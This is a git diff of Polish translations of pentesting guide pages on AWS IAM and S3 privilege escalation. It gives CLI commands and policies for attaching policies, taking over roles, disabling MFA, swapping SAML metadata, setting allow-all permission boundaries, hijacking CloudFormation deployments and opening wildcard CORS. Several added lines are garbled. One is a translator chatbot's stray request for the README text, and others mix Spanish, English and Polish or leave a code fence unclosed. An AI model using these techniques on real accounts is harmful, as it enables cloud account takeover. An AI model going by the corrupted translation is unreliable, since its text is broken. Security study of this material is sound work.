### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Pozwala na dołączanie lub umieszczanie polityk do ról, użytkowników lub grup, umożliwiając bezpośrednią eskalację uprawnień poprzez nadanie dodatkowych uprawnień.
+Pozwala na przypisywanie polityk do ról, użytkowników lub grup, umożliwiając Direct privilege escalation przez przyznanie dodatkowych uprawnień.
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**Eksploit dla Inline Policies:**
+**Exploit dla Inline Policies:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-Możesz użyć polityki takiej jak:
+Proszę wklej treść pliku README.md (albo wskaż fragment), który chcesz przetłumaczyć na polski. Zachowam dokładnie wszystkie tagi, linki, ścieżki, kod i składnię markdown/html.
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ Możesz użyć polityki takiej jak:
]
}
```
-**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez dodanie uprawnień za pomocą polityk.
+**Wpływ:** Bezpośrednia eskalacja uprawnień przez dodawanie uprawnień w politykach.
### **`iam:AddUserToGroup`**
-Pozwala na dodanie siebie do grupy IAM, eskalując uprawnienia poprzez dziedziczenie uprawnień grupy.
+Umożliwia dodanie siebie do grupy IAM, eskalując uprawnienia przez dziedziczenie uprawnień grupy.
**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
-**Impact:** Bezpośrednia eskalacja uprawnień do poziomu przypisanego grupie.
+**Wpływ:** Bezpośrednia eskalacja uprawnień do poziomu uprawnień grupy.
### **`iam:UpdateAssumeRolePolicy`**
-Pozwala na zmianę dokumentu assume role policy roli, co umożliwia przejęcie tej roli oraz powiązanych z nią uprawnień.
+Pozwala na modyfikację dokumentu polityki assume role danej roli, umożliwiając przyjęcie roli i uzyskanie przypisanych do niej uprawnień.
**Exploit:**
```bash
aws iam update-assume-role-policy --role-name \
--policy-document file:///path/to/assume/role/policy.json
```
-Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyjęcia roli:
+Gdy polityka wygląda następująco, daje użytkownikowi uprawnienie do przyjęcia roli:
```json
{
"Version": "2012-10-17",
@@ -163,11 +163,11 @@ Gdy polityka wygląda następująco, co daje użytkownikowi uprawnienie do przyj
]
}
```
-**Wpływ:** Direct privilege escalation by assuming any role's permissions.
+**Wpływ:** Bezpośrednia eskalacja uprawnień poprzez przyjęcie uprawnień dowolnej roli.
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
-Pozwala na przesłanie klucza publicznego SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do potencjalnej pośredniej privilege escalation.
+Pozwala na przesłanie publicznego klucza SSH do uwierzytelniania w CodeCommit oraz dezaktywację urządzeń MFA, co może prowadzić do pośredniej eskalacji uprawnień.
**Exploit for SSH Key Upload:**
```bash
@@ -177,24 +177,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number
```
-**Wpływ:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
+**Impact:** Pośrednia eskalacja uprawnień przez włączenie dostępu do CodeCommit lub wyłączenie ochrony MFA.
### **`iam:ResyncMFADevice`**
-Pozwala na ponowne zsynchronizowanie urządzenia MFA, co potencjalnie prowadzi do pośredniej eskalacji uprawnień poprzez manipulację ochroną MFA.
+Pozwala na ponowne zsynchronizowanie urządzenia MFA, co może prowadzić do pośredniej eskalacji uprawnień poprzez manipulowanie ochroną MFA.
-**Bash Command:**
+**Polecenie Bash:**
```bash
aws iam resync-mfa-device --user-name --serial-number \
--authentication-code1 --authentication-code2
```
-**Impact:** Niebezpośrednia eskalacja uprawnień przez dodawanie lub manipulowanie urządzeniami MFA.
+**Impact:** Pośrednia eskalacja uprawnień przez dodanie lub manipulację urządzeniami MFA.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
-Z tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **federacji SAML**, by **zalogować się** dowolną **rolą, która jej ufa**.
+Dysponując tymi uprawnieniami możesz **zmienić metadane XML połączenia SAML**. Następnie możesz nadużyć **SAML federation**, aby **login** z dowolnym **role that is trusting** it.
-Zauważ, że po wykonaniu tego **uprawnieni użytkownicy nie będą mogli się zalogować**. Jednak możesz pobrać XML, wstawić swój, zalogować się i przywrócić poprzednią konfigurację.
+Zauważ, że wykonanie tego spowoduje, że **legit users won't be able to login**. Jednak możesz pobrać XML, więc możesz podmienić go na swój, **login** i ponownie skonfigurować poprzednie ustawienia.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document --saml-provider-arn
```
> [!NOTE]
-> TODO: Narzędzie zdolne wygenerować metadane SAML i zalogować się przy użyciu określonej roli
+> TODO: Narzędzie zdolne wygenerować metadane SAML i zalogować się z określoną rolą
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
-(Niepewne) Jeśli atakujący ma te **permissions**, mógłby dodać nowy **Thumbprint**, co pozwoliłoby mu zalogować się do wszystkich ról ufających temu dostawcy.
+(Niepewne) Jeśli atakujący ma te **permissions**, może dodać nowy **Thumbprint**, aby móc zalogować się do wszystkich ról ufających dostawcy.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,9 +226,36 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
-To uprawnienie pozwala attackerowi zaktualizować permissions boundary użytkownika, potencjalnie eskalując jego uprawnienia poprzez umożliwienie wykonywania działań, które normalnie są ograniczone przez jego istniejące uprawnienia.
+To uprawnienie pozwala atakującemu zaktualizować granicę uprawnień użytkownika, co może doprowadzić do eskalacji uprawnień i umożliwić wykonywanie działań normalnie ograniczonych przez bieżące uprawnienia.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name \
+--permissions-boundary arn:aws:iam:::policy/
-## Referencje
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+Aktor posiadający iam:PutRolePermissionsBoundary może ustawić granicę uprawnień (permissions boundary) na istniejącej roli. Ryzyko pojawia się, gdy ktoś z tym uprawnieniem zmienia granicę roli: może niewłaściwie ograniczyć operacje (powodując przerwy w działaniu usług) lub — jeśli załączy zbyt liberalną granicę — de facto rozszerzyć możliwości roli i eskalować uprawnienia.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
+## Źródła
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
index f27736909..4051b38b1 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
-Atakujący posiadający te uprawnienia do interesujących bucketów może być w stanie hijack resources and escalate privileges.
+Attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges.
-Na przykład, atakujący posiadający te **uprawnienia do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie hijack the deployment. Dostęp można przyznać za pomocą następującej polityki:
+For example, attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy:
```json
{
"Version": "2012-10-17",
@@ -34,29 +34,29 @@ Na przykład, atakujący posiadający te **uprawnienia do bucketu cloudformation
]
}
```
-I przejęcie jest możliwe, ponieważ istnieje **małe okno czasowe od momentu przesłania template'a** do bucketu do momentu, w którym **template jest wdrażany**. Atakujący może po prostu utworzyć **lambda function** w swoim koncie, która **uruchomi się, gdy zostanie wysłane powiadomienie z bucketu**, i **przejmie** **zawartość** tego **bucketu**.
+I hijack jest możliwe, ponieważ istnieje **małe okno czasowe od momentu przesłania template do bucket** do momentu, gdy **template zostanie wdrożony**. Atakujący może po prostu utworzyć **lambda function** w swoim koncie, która **trigger when a bucket notification is sent**, i **hijacks** **content** tego **bucket**.
.png>)
-Moduł Pacu [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) może być użyty do zautomatyzowania tego ataku.\
-Na więcej informacji sprawdź oryginalne badanie: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) może być użyty do zautomatyzowania tego ataku.\
+For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject`
-To uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa S3 do przechowywania **plików konfiguracyjnych**.\
-Atakujący z **dostępem do odczytu** może znaleźć na nich **poufne informacje**.\
-Atakujący z **dostępem do zapisu** mógłby **zmodyfikować dane, by nadużyć jakąś usługę i spróbować eskalować uprawnienia**.\
+Są to uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa S3 do przechowywania **plików konfiguracyjnych**.\
+Atakujący z **read access** do nich może znaleźć **sensitive information**.\
+Atakujący z **write access** do nich może **zmodyfikować dane, by wykorzystać jakąś usługę i spróbować eskalacji uprawnień**.\
Oto kilka przykładów:
-- Jeśli instancja EC2 przechowuje **user data w S3 bucket**, atakujący mógłby to zmodyfikować, by **wykonać dowolny kod wewnątrz instancji EC2**.
+- Jeśli instancja EC2 przechowuje **user data in a S3 bucket**, atakujący mógłby to zmodyfikować, aby **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
-Bardzo często pliki stanu terraform są zapisywane w blob storage dostawców chmury, np. AWS S3. Sufiks pliku stanu to `.tfstate`, a nazwy bucketów często zdradzają, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma taki bucket do przechowywania plików stanu pokazujących stan konta. Również w rzeczywistych kontach niemal zawsze wszyscy developerzy mają `s3:*`, a czasami nawet użytkownicy biznesowi mają `s3:Put*`.
+Bardzo często pliki stanu [terraform] są zapisywane w blob storage dostawców chmurowych, np. AWS S3. Sufiks pliku stanu to `.tfstate`, a nazwy bucketów często zdradzają, że zawierają pliki stanu terraform. Zazwyczaj każde konto AWS ma taki bucket do przechowywania plików stanu pokazujących stan konta. Również w rzeczywistych kontach niemal zawsze wszyscy developerzy mają `s3:*`, a czasem nawet użytkownicy biznesowi mają `s3:Put*`.
-Więc jeśli masz wymienione uprawnienia do tych plików, istnieje wektor ataku pozwalający uzyskać RCE w pipeline z uprawnieniami `terraform` — najczęściej `AdministratorAccess`, co czyni cię administratorem konta w chmurze. Możesz też użyć tego wektora do przeprowadzenia ataku DoS, zmuszając `terraform` do usunięcia prawidłowych zasobów.
+Zatem, jeśli masz wymienione uprawnienia do tych plików, istnieje wektor ataku pozwalający uzyskać RCE w pipeline z uprawnieniami `terraform` — zazwyczaj `AdministratorAccess`, co czyni cię administratorem konta chmurowego. Możesz też użyć tego wektora do przeprowadzenia ataku typu denial of service, powodując, że `terraform` usunie prawidłowe zasoby.
-Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terraform Security* dla bezpośrednio użytecznego kodu exploit:
+Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terraform Security* po bezpośrednio użyteczny kod exploitów:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +64,7 @@ Postępuj zgodnie z opisem w sekcji *Abusing Terraform State Files* strony *Terr
### `s3:PutBucketPolicy`
-Atakujący, który musi pochodzić **z tego samego konta** — w przeciwnym razie wywołany zostanie błąd `The specified method is not allowed` — z tym uprawnieniem będzie w stanie nadać sobie więcej uprawnień do bucketu(ów), pozwalających mu czytać, zapisywać, modyfikować, usuwać i ujawniać buckety.
+Atakujący, który musi być **from the same account** — w przeciwnym razie zostanie wywołany błąd `The specified method is not allowed will trigger` — z tym uprawnieniem będzie w stanie przyznać sobie więcej uprawnień do bucket(s), pozwalając mu na odczyt, zapis, modyfikację, usuwanie i ujawnianie bucketów.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -122,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a
```
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
-Atakujący może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych `objects` wewnątrz `buckets`.
+Atakujący może nadużyć tych uprawnień, aby przyznać sobie większy dostęp do konkretnych obiektów w obrębie buckets.
```bash
# Update bucket object ACL
aws s3api get-object-acl --bucket --key flag
@@ -177,9 +177,29 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
-Oczekuje się, że atakujący z tymi uprawnieniami będzie mógł ustawić Acl dla konkretnej wersji obiektu.
+Atakujący mający takie uprawnienia powinien móc przypisać Acl do konkretnej wersji obiektu.
```bash
aws s3api get-object-acl --bucket --key flag
aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json
```
+### `s3:PutBucketCORS`
+
+Atakujący posiadający uprawnienie s3:PutBucketCORS może zmodyfikować konfigurację CORS (Cross-Origin Resource Sharing) bucketu, która kontroluje, które domeny internetowe mogą uzyskiwać dostęp do jego endpointów. Jeśli ustawi przyzwalającą politykę, dowolna strona WWW będzie mogła wysyłać bezpośrednie żądania do bucketu i odczytywać odpowiedzi w przeglądarce.
+
+Oznacza to, że potencjalnie, jeśli uwierzytelniony użytkownik aplikacji webowej hostowanej z tego bucketu odwiedzi stronę atakującego, atakujący może wykorzystać permissive politykę CORS i, w zależności od aplikacji, uzyskać dostęp do danych profilu użytkownika lub nawet przejąć jego konto.
+```bash
+aws s3api put-bucket-cors \
+--bucket \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
{{#include ../../../../banners/hacktricks-training.md}}